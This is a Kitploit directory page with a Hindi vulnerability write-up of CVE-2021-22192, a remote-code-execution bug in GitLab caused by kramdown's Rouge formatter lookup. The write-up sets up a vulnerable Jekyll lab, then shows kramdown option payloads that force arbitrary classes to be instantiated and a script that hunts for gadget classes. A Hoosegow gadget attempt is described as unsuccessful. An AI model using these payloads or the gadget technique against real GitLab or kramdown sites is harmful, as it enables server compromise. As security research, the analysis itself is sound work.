Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
उपकरण/GitHubGitHub/petrusviet/gitlab-rce
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

रिपॉजिटरी देखें
123115 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Gitlab पर RCE भेद्यता का विश्लेषण (CVE-2021–22192)

I) निर्माण

  • यह बग GitLab Community Edition (CE) और Enterprise Edition (EE) के संस्करणों (>=13.2, <13.7.9), (>=13.8, <13.8.6) और (>=13.9, <13.9.4) में होता है
  • आप lyy289065406 के निर्देशों का पालन करके पर्यावरण स्थापित कर सकते हैं।

II) विश्लेषण

जब मैंने इस बग का विश्लेषण शुरू किया, तो मुझे lyy289065406 से कुछ बहुमूल्य जानकारी मिली जिसने इस बग के मूल मुद्दे को समझने में मदद की। ऐसा प्रतीत होता है कि यह gem kramdown (<= 2.3.0) में एक बग है, इसलिए मैंने पहले kramdown के बारे में जानना शुरू किया।

1. Kramdown

हम kramdown के patch की जांच कर सकते हैं, और Kramdown::Converter::SyntaxHighlighter::Rouge मॉड्यूल में formatter_class फ़ंक्शन में अंतर देखें।

::Rouge::Formatters.const_get(formatter) को ::Rouge::Formatters.const_get(formatter, false) में बदल दिया गया है।

const_get फ़ंक्शन Object क्लास से विरासत में मिला है, यह कॉन्स्टेंट प्राप्त कर सकता है। यह पहले से घोषित क्लासेस को भी वापस कर सकता है जिन्हें यह ढूंढ सकता है। अंतर केवल एक पैरामीटर false जोड़ने का है। false जोड़ने से const_get पैरेंट क्लास या मॉड्यूल से कॉन्स्टेंट प्राप्त नहीं कर सकेगा। इससे भी अधिक विशेष: self.call फ़ंक्शन formatter_class को कॉल करता है और फिर new(opts) को कॉल करता है। इसका मतलब है कि const_get के माध्यम से प्राप्त विधि का कंस्ट्रक्टर आरंभीकरण के लिए कॉल किया जाएगा।

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

वाह, वाह। तो फिर कैसे Exploit करें???

Kramdown:Options के आधार पर, हम Kramdown::Converter::SyntaxHighlighter::Rouge.call फ़ंक्शन को कॉल कर सकते हैं।

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

इसके अलावा, हम Kramdown:Options मॉड्यूल में simple_hash_validator फ़ंक्शन देखते हैं जो YAML.safe_load(val) को कॉल करता है। इस प्रकार हम YAML फ़ाइल को कॉन्फ़िगर करके वांछित पेलोड को Kramdown::Converter::SyntaxHighlighter::Rouge तक पहुंचा सकते हैं।

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown का उपयोग Jekyll, GitLab Pages, GitHub Pages और Thredd Forum द्वारा किया जाता है। इसलिए मैंने पहले इसे jekyll के साथ आज़माने का फैसला किया।

2. jekyll

पहले, मुझे jekyll सेट करने की आवश्यकता है:

  • jekyll स्थापित करें
gem install jekyll
  • jekyllTest नाम से jekyll पेज बनाएं
jekyll new jekyllTest
  • Gemfile.lock फ़ाइल को संपादित करके kramdown संस्करण को <= 2.3.0 पर सेट करें
cd jekyllTest

फ़ाइल Gemfile.lock


...
kramdown (2.3.0)
...

  • install page
 bundle install

इस प्रकार, हमने एक jekyll पेज बनाने का काम पूरा कर लिया है। अब हम पेलोड डाल सकते हैं, यह देखने के लिए कि क्या Kramdown::Converter::SyntaxHighlighter::Rouge.call वास्तव में एक विधि को कॉल कर सकता है।

हम ./_config.yml फ़ाइल में जोड़ सकते हैं

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

या kramdown दस्तावेज़ का उपयोग करें ./_posts/*.markdown में पेलोड जोड़ने के लिए

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

यहाँ मैं दूसरा तरीका उपयोग कर रहा हूँ =)))))

  • हम jekyll पेज को डिप्लॉय करते हैं
bundle exec jekyll serve

आपको त्रुटि "require': cannot load such file -- webrick (LoadError) मिल सकती है, आपको gem "webrick" को Gemfile में जोड़ना होगा

  • हम त्रुटि संदेश देखते हैं private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: यह साबित करता है कि CSV वर्ग को कॉल किया गया था।

अगला काम यह निर्धारित करना है कि हम कौन सी विधि चुनेंगे ताकि कंस्ट्रक्टर को कॉल करने पर RCE हो?

एक विश्लेषण लेख CVE-2020-10518 के अनुसार, kramdown में बग का उपयोग करके Github पर RCE हुआ। मैंने Hoosegow वर्ग को लक्षित किया:

  • हम देखते हैं कि Hoosegow के initialize फ़ंक्शन में load_inmate_methods को कॉल किया गया है।
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • load_inmate_methods में, हम देखते हैं कि यह require inmate_file को कॉल करता है
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • और inmate_file @inmate_dir में 'inmate.rb' जोड़कर बनाया जाता है। यदि हम इस वर्ग को कॉल कर सकते हैं और inmate_dir पैरामीटर को अपनी पेलोड फ़ाइल के पथ में बदल सकते हैं, तो क्या यहाँ RCE नहीं होगा?

  • मैंने jekyll पेज के पथ में एक स्क्रिप्ट चलाई ताकि परिभाषित विधियों की जाँच की जा सके:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • दुर्भाग्य से, Hoosegow नाम का कोई वर्ग नहीं है, भले ही मैंने ob.name == "Hoosegow" शर्त रखकर स्क्रिप्ट को बीच में क्रैश होने से बचाया।
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • पता चला कि मेरे क्लास पथ में Hoosegow वर्ग घोषित नहीं था, मैंने Gemfile में gem "hoosegow" जोड़ा और स्क्रिप्ट ने यह वर्ग पा लिया। [ही ही ही]
  • अगला, kramdown के माध्यम से Hoosegow को कॉल करने का प्रयास करते हैं।
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • बूम। कुछ नहीं हुआ, Hoosegow वर्ग को कॉल नहीं किया गया। =)))))))))
टूल डाउनलोड करें